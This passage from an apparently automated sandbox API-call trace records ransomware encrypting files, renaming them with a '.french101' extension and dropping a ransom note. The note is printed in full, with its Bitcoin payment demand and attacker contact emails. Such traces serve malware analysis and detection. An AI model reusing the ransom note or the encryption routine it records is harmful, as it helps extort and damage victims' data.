lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.552] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0282.552] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0282.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0282.552] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\я" (normalized: "c:\\588bce7c90097ed212\\1055\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.701] WriteFile (in: hFile=0x308, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0282.702] CloseHandle (hObject=0x308) returned 1 [0282.702] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\я" (normalized: "c:\\588bce7c90097ed212\\1055\\я")) returned 1 [0282.703] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0282.705] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0282.705] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0282.705] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0282.705] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", dwFileAttributes=0x20) returned 1 [0282.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.705] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.706] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xf13 [0282.706] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.706] SetFilePointer (in: hFile=0x308, lDistanceToMove=3859, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xf13 [0282.706] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0282.791] CloseHandle (hObject=0x308) returned 1 [0282.793] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.793] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.793] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xf14 [0282.793] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.794] SetFilePointer (in: hFile=0x308, lDistanceToMove=3859, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xf13 [0282.794] SetEndOfFile (hFile=0x308) returned 1 [0282.795] CloseHandle (hObject=0x308) returned 1 [0282.796] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.796] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.796] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xf13 [0282.796] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.799] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.799] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.799] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xf13 [0282.799] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.799] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.800] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.800] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0282.800] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.800] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.800] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0282.800] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.800] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0282.801] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0282.801] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.801] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0282.801] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.801] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0282.801] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xf13 [0282.801] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0282.801] SetFilePointer (in: hFile=0x308, lDistanceToMove=3859, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xf13 [0282.801] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0282.818] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0282.818] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.818] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.818] CloseHandle (hObject=0x308) returned 1 [0282.819] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\yNkSrZ=dHzgO=52MaCGwnQ.french101" (normalized: "c:\\588bce7c90097ed212\\1055\\ynksrz=dhzgo=52macgwnq.french101")) returned 1 [0282.820] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\yNkSrZ=dHzgO=52MaCGwnQ.french101" (normalized: "c:\\588bce7c90097ed212\\1055\\ynksrz=dhzgo=52macgwnq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.820] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0282.820] CloseHandle (hObject=0x308) returned 1 [0282.820] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\yNkSrZ=dHzgO=52MaCGwnQ.french101", dwFileAttributes=0x80) returned 1 [0282.820] CloseHandle (hObject=0x308) returned 0 [0282.820] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.821] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.821] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.821] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.821] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0282.821] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.821] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.821] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0282.821] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.821] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0282.821] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0282.821] GetLastError () returned 0x2 [0282.822] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1055\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.822] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0282.823] CloseHandle (hObject=0x308) returned 1 [0282.823] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.823] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.823] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.823] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0282.823] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0282.823] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.823] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0282.823] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.823] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0282.823] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.824] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.824] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.824] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.824] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0282.825] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0282.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0282.825] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0282.825] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0282.825] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0282.825] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0282.825] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0282.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.825] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.826] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12c12 [0282.826] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.826] SetFilePointer (in: hFile=0x308, lDistanceToMove=76818, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x12c12 [0282.826] WriteFile (in: hFile=0x308, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0282.855] CloseHandle (hObject=0x308) returned 1 [0282.864] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.865] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.865] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12c13 [0282.865] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.865] SetFilePointer (in: hFile=0x308, lDistanceToMove=76818, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12c12 [0282.865] SetEndOfFile (hFile=0x308) returned 1 [0282.867] CloseHandle (hObject=0x308) returned 1 [0282.867] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.867] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.867] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12c12 [0282.867] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.868] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.868] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0282.868] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.869] SetFilePointer (in: hFile=0x308, lDistanceToMove=43007, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xa7ff [0282.869] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.869] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0282.869] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0282.869] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0282.869] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.869] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0282.869] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.869] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.869] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.869] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.964] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0282.964] WriteFile (in: hFile=0x308, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.964] SetFilePointer (in: hFile=0x308, lDistanceToMove=43007, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xa7ff [0282.964] WriteFile (in: hFile=0x308, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.964] SetFilePointer (in: hFile=0x308, lDistanceToMove=76818, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x12c12 [0282.964] WriteFile (in: hFile=0x308, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0282.964] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0282.964] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.964] GlobalUnlock 